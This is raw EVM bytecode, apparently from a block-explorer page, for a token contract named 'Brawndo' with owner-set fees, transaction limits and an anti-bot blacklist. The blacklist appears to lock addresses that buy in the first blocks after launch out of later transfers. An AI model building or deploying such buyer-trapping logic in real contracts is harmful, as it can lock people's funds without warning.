600060208201905081810360008301526140fe816140c2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561418b5780860481111561416757614166614105565b5b60018516156141765780820291505b808102905061418485614134565b945061414b565b94509492505050565b6000826141a45760019050614260565b816141b25760009050614260565b81600181146141c857600281146141d257614201565b6001915050614260565b60ff8411156141e4576141e3614105565b5b8360020a9150848211156141fb576141fa614105565b5b50614260565b5060208310610133831016604e8410600b84101617156142365782820a90508381111561423157614230614105565b5b614260565b6142438484846001614141565b9250905081840481111561425a57614259614105565b5b81810290505b9392505050565b600061427282613af3565b915061427d83613b9f565b92506142aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614194565b905092915050565b60006142bd82613af3565b91506142c883613af3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561430157614300614105565b5b828202905092915050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b60006143426011836139e0565b915061434d8261430c565b602082019050919050565b6000602082019050818103600083015261437181614335565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006143ae6010836139e0565b91506143b982614378565b602082019050919050565b600060208201905081810360008301526143dd816143a1565b9050919050565b60006143ef82613af3565b91506143fa83613af3565b92508282101561440d5761440c614105565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b600061444e6014836139e0565b915061445982614418565b602082019050919050565b6000602082019050818103600083015261447d81614441565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006144ba600f836139e0565b91506144c582614484565b602082019050919050565b600060208201905081810360008301526144e9816144ad565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b6000614526600e836139e0565b9150614531826144f0565b602082019050919050565b6000602082019050818103600083015261455581614519565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006145926009836139e0565b915061459d8261455c565b602082019050919050565b600060208201905081810360008301526145c181614585565b9050919050565b6000815190506145d781613ac7565b92915050565b6000602082840312156145f3576145f2613a90565b5b6000614601848285016145c8565b91505092915050565b600060408201905061461f6000830185613dd8565b61462c6020830184613dd8565b9392505050565b7f5a65726f2077616c6c6574206d75737420626520756e6c696d69746564000000600082015250565b6000614669601d836139e0565b915061467482614633565b602082019050919050565b600060208201905081810360008301526146988161465c565b9050919050565b7f4175746f4c5020616c72656164792073657420746f206275726e000000000000600082015250565b60006146d5601a836139e0565b91506146e08261469f565b602082019050919050565b60006020820190508181036000830152614704816146c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061474582613af3565b915061475083613af3565b9250826147605761475f61470b565b5b828204905092915050565b600061477682613af3565b915061478183613af3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156147b6576147b5614105565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006147f76010836139e0565b9150614802826147c1565b602082019050919050565b60006020820190508181036000830152614826816147ea565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006148636014836139e0565b915061486e8261482d565b602082019050919050565b6000602082019050818103600083015261489281614856565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006148cf6009836139e0565b91506148da82614899565b602082019050919050565b600060208201905081810360008301526148fe816148c2565b9050919050565b600061491082613e02565b915061491b83613e02565b92508261ffff0382111561493257614931614105565b5b828201905092915050565b600061494882613b9f565b915061495383613b9f565b92508160ff048311821515161561496d5761496c614105565b5b828202905092915050565b6000819050919050565b600061499d61499861499384613a95565b614978565b613a95565b9050919050565b60006149af82614982565b9050919050565b60006149c1826149a4565b9050919050565b6149d1816149b6565b82525050565b60006020820190506149ec60008301846149c8565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000614a28601d836139e0565b9150614a33826149f2565b602082019050919050565b60006020820190508181036000830152614a5781614a1b565b9050919050565b6000614a6982613a95565b9150614a7483613a95565b925082614a8457614a8361470b565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b6000614ac56014836139e0565b9150614ad082614a8f565b602082019050919050565b60006020820190508181036000830152614af481614ab8565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614b31600b836139e0565b9150614b3c82614afb565b602082019050919050565b60006020820190508181036000830152614b6081614b24565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614b9d6011836139e0565b9150614ba882614b67565b602082019050919050565b60006020820190508181036000830152614bcc81614b90565b9050919050565b6000819050919050565b6000614bf8614bf3614bee84614bd3565b614978565b613af3565b9050919050565b614c0881614bdd565b82525050565b600060c082019050614c236000830189613dd8565b614c306020830188613c2b565b614c3d6040830187614bff565b614c4a6060830186614bff565b614c576080830185613dd8565b614c6460a0830184613c2b565b979650505050505050565b600081519050614c7e81613afd565b92915050565b600080600060608486031215614c9d57614c9c613a90565b5b6000614cab86828701614c6f565b9350506020614cbc86828701614c6f565b9250506040614ccd86828701614c6f565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d6a81613ab5565b82525050565b6000614d7c8383614d61565b60208301905092915050565b6000602082019050919050565b6000614da082614d35565b614daa8185614d40565b9350614db583614d51565b8060005b83811015614de6578151614dcd8882614d70565b9750614dd883614d88565b925050600181019050614db9565b5085935050505092915050565b600060a082019050614e086000830188613c2b565b614e156020830187614bff565b8181036040830152614e278186614d95565b9050614e366060830185613dd8565b614e436080830184613c2b565b9695505050505050565b6000614e5882613e02565b915061ffff821415614e6d57614e6c614105565b5b60018201905091905056fea2646970667358221220144173d3cbeddc122506414e632cd25b151f1c2475e286eddf8e06151411579464736f6c634300080b00330000000000000000000000000000000000000000000000000000000018c7cd5000000000000000000000000000000000000000000000000000000000167ff21f

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806395d89b4111610123578063dd62ed3e116100ab578063ed7b6bb51161006f578063ed7b6bb514610782578063f2fde38b14610799578063fe575a87146107c2578063fee9fb31146107ff578063ffb54a991461082a57610225565b8063dd62ed3e1461069d578063de1a356c146106da578063e4dbc45b14610703578063e79d41601461072c578063eb8199481461075757610225565b8063aa4bde28116100f2578063aa4bde28146105f0578063b14218031461061b578063c9567bf914610644578063db8615991461065b578063dca2a8b61461068657610225565b806395d89b41146105485780639c5fd04814610573578063a9059cbb1461059c578063a9c41c6a146105d957610225565b8063691f224f116101a6578063740bf49711610175578063740bf4971461046157806383dcebb11461048a578063893d20e8146104b55780638bfd1d8e146104e05780638c0b5e221461051d57610225565b8063691f224f146103a75780636969c1a4146103d257806370a08231146103fb57806371ebe1c31461043857610225565b80631c939ee9116101ed5780631c939ee9146102e65780631cbbe3e4146102fd57806323b872dd1461031457806324024efd14610351578063313ce5671461037c57610225565b806306fdde031461022a578063095ea7b31461025557806309ef509f1461029257806318160ddd146102bb57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610855565b60405161024c9190613a6e565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613b29565b610892565b6040516102899190613b84565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613bd8565b610984565b005b3480156102c757600080fd5b506102d0610ad8565b6040516102dd9190613c3a565b60405180910390f35b3480156102f257600080fd5b506102fb610afc565b005b34801561030957600080fd5b50610312610b95565b005b34801561032057600080fd5b5061033b60048036038101906103369190613c55565b610c73565b6040516103489190613b84565b60405180910390f35b34801561035d57600080fd5b50610366610e7c565b6040516103739190613cb7565b60405180910390f35b34801561038857600080fd5b50610391610e8f565b60405161039e9190613cb7565b60405180910390f35b3480156103b357600080fd5b506103bc610e98565b6040516103c99190613cb7565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613cd2565b610eab565b005b34801561040757600080fd5b50610422600480360381019061041d9190613cff565b6114ac565b60405161042f9190613c3a565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190613d58565b6114f5565b005b34801561046d57600080fd5b5061048860048036038101906104839190613d98565b611654565b005b34801561049657600080fd5b5061049f611818565b6040516104ac9190613cb7565b60405180910390f35b3480156104c157600080fd5b506104ca61182b565b6040516104d79190613de7565b60405180910390f35b3480156104ec57600080fd5b5061050760048036038101906105029190613cff565b611854565b6040516105149190613c3a565b60405180910390f35b34801561052957600080fd5b5061053261189d565b60405161053f9190613c3a565b60405180910390f35b34801561055457600080fd5b5061055d6118a3565b60405161056a9190613a6e565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190613d58565b6118e0565b005b3480156105a857600080fd5b506105c360048036038101906105be9190613b29565b6119c9565b6040516105d09190613b84565b60405180910390f35b3480156105e557600080fd5b506105ee611a25565b005b3480156105fc57600080fd5b50610605611b20565b6040516106129190613c3a565b60405180910390f35b34801561062757600080fd5b50610642600480360381019061063d9190613e3c565b611b26565b005b34801561065057600080fd5b50610659611ce4565b005b34801561066757600080fd5b50610670611dcc565b60405161067d9190613c3a565b60405180910390f35b34801561069257600080fd5b5061069b611dd2565b005b3480156106a957600080fd5b506106c460048036038101906106bf9190613d98565b611ebc565b6040516106d19190613c3a565b60405180910390f35b3480156106e657600080fd5b5061070160048036038101906106fc9190613e7c565b611f43565b005b34801561070f57600080fd5b5061072a60048036038101906107259190613f0b565b61205f565b005b34801561073857600080fd5b5061074161217d565b60405161074e9190613f81565b60405180910390f35b34801561076357600080fd5b5061076c612191565b6040516107799190613c3a565b60405180910390f35b34801561078e57600080fd5b50610797612197565b005b3480156107a557600080fd5b506107c060048036038101906107bb9190613fda565b61226b565b005b3480156107ce57600080fd5b506107e960048036038101906107e49190613cff565b612373565b6040516107f69190613b84565b60405180910390f35b34801561080b57600080fd5b506108146123ce565b6040516108219190613b84565b60405180910390f35b34801561083657600080fd5b5061083f6123e1565b60405161084c9190613b84565b60405180910390f35b60606040518060400160405280600781526020017f427261776e646f00000000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109729190613c3a565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990614079565b60405180910390fd5b600760ff168360ff1611158015610a305750600760ff168260ff1611155b8015610a435750600760ff168160ff1611155b610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906140e5565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b60006009600a610ae89190614267565b633b9aca00610af791906142b2565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190614079565b60405180910390fd5b610b93476123f4565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90614079565b60405180910390fd5b43600c5411610c67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5e90614358565b60405180910390fd5b610c716000612592565b565b6000610c7d6125c2565b610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb3906143c4565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e685781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de791906143e4565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e73848484612648565b90509392505050565b600b60039054906101000a900460ff1681565b60006009905090565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090614079565b60405180910390fd5b600560009054906101000a900460ff1615610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090614464565b60405180910390fd5b60008111610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906144d0565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061453c565b60405180910390fd5b60006111e4306114ac565b905060008111611229576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611220906145a8565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611298573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bc91906145dd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611345573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136991906145dd565b6040518363ffffffff1660e01b815260040161138692919061460a565b6020604051808303816000875af11580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c991906145dd565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061148482612db6565b61149e8285600b600d9054906101000a900460ff16612fa0565b6114a661307e565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90614079565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115f957806115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef9061467f565b60405180910390fd5b5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d990614079565b60405180910390fd5b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f425241574e444f00000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196590614079565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006119d36125c2565b611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906143c4565b60405180910390fd5b611a1d338484612648565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90614079565b60405180910390fd5b600b600d9054906101000a900460ff1615611b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afa906146eb565b60405180910390fd5b6001600b600d6101000a81548160ff021916908315150217905550565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab90614079565b60405180910390fd5b600060016103e88461ffff166009600a611bce9190614267565b633b9aca00611bdd91906142b2565b611be791906142b2565b611bf1919061473a565b611bfb919061476b565b9050600654811015611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c399061480d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611c639190614267565b633b9aca00611c7291906142b2565b611c7c91906142b2565b611c86919061473a565b611c90919061476b565b9050600754811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90614879565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6990614079565b60405180910390fd5b600560009054906101000a900460ff1615611dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db990614464565b60405180910390fd5b611dca61307e565b565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5790614079565b60405180910390fd5b6000611e6b306114ac565b905060008111611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea7906148e5565b60405180910390fd5b611eb9816131b6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc890614079565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff1602179055508082846120359190614905565b61203f9190614905565b600b806101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e490614079565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6121099190614267565b633b9aca0061211891906142b2565b61212291906142b2565b61212c919061473a565b6008819055508063ffffffff168263ffffffff166009600a61214e9190614267565b633b9aca0061215d91906142b2565b61216791906142b2565b612171919061473a565b60098190555050505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c90614079565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff1602179055506007600261224f919061493d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f090614079565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161236891906149d7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146123c457600190506123c9565b600090505b919050565b600b600d9054906101000a900460ff1681565b600560009054906101000a900460ff1681565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166124229190614905565b90506000600b60079054906101000a900461ffff1661ffff1611156124d957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856124a291906142b2565b6124ac919061473a565b9081150290604051600060405180830381858888f193505050501580156124d7573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561258e57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff168561255791906142b2565b612561919061473a565b9081150290604051600060405180830381858888f1935050505015801561258c573d6000803e3d6000fd5b505b5050565b43600c5411806125a457506000600c54145b156125bf578060ff16436125b8919061476b565b600c819055505b50565b60008060009050600560009054906101000a900460ff16156125e75760019050612641565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561264057600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b090614a3e565b60405180910390fd5b43600c5411156127ee577f00000000000000000000000000000000000000000000000000000000167ff21f63ffffffff167f0000000000000000000000000000000000000000000000000000000018c7cd5063ffffffff168461271c9190614a5e565b73ffffffffffffffffffffffffffffffffffffffff161415612747576127426001612592565b6127e9565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561279e5761279983436133d5565b6127e8565b6127e783600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b5b612908565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461287f5761287e83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b600f60009054906101000a900460ff1660ff16600c5461289f919061476b565b431080156128ac5750483a115b15612907576000483a6128bf91906143e4565b90506010548110612905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fc90614adb565b60405180910390fd5b505b5b600560009054906101000a900460ff16801561296457506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156129ae575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b156129ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e590614b47565b60405180910390fd5b601260149054906101000a900460ff16158015612a545750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a6257612a616134f7565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612aca57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612b22575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612b7157612b31838361368b565b612b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6790614bb3565b60405180910390fd5b5b6000612b7e8585856137cb565b905060008184612b8e91906143e4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdb91906143e4565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612cb65781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c72919061476b565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d01919061476b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612da19190613c3a565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612f9d577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612f949190613c3a565b60405180910390a35b50565b600081612fcb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161303296959493929190614c0e565b60606040518083038185885af1158015613050573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130759190614c84565b50505050505050565b60064361308b919061476b565b600c819055506009600a61309f9190614267565b6127106009600a6130b09190614267565b633b9aca006130bf91906142b2565b60336130cb91906142b2565b6130d5919061473a565b6130df919061476b565b6006819055506009600a6130f39190614267565b6127106009600a6131049190614267565b633b9aca0061311391906142b2565b603361311f91906142b2565b613129919061473a565b613133919061476b565b6007819055506005600b60026101000a81548160ff021916908360ff16021790555060076003613163919061493d565b600b60036101000a81548160ff021916908360ff1602179055506005600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6131bf81612db6565b6000600267ffffffffffffffff8111156131dc576131db614cd7565b5b60405190808252806020026020018201604052801561320a5781602001602082028036833780820191505090505b509050308160008151811061322257613221614d06565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156132c9573d6000803e3d6000fd5b50505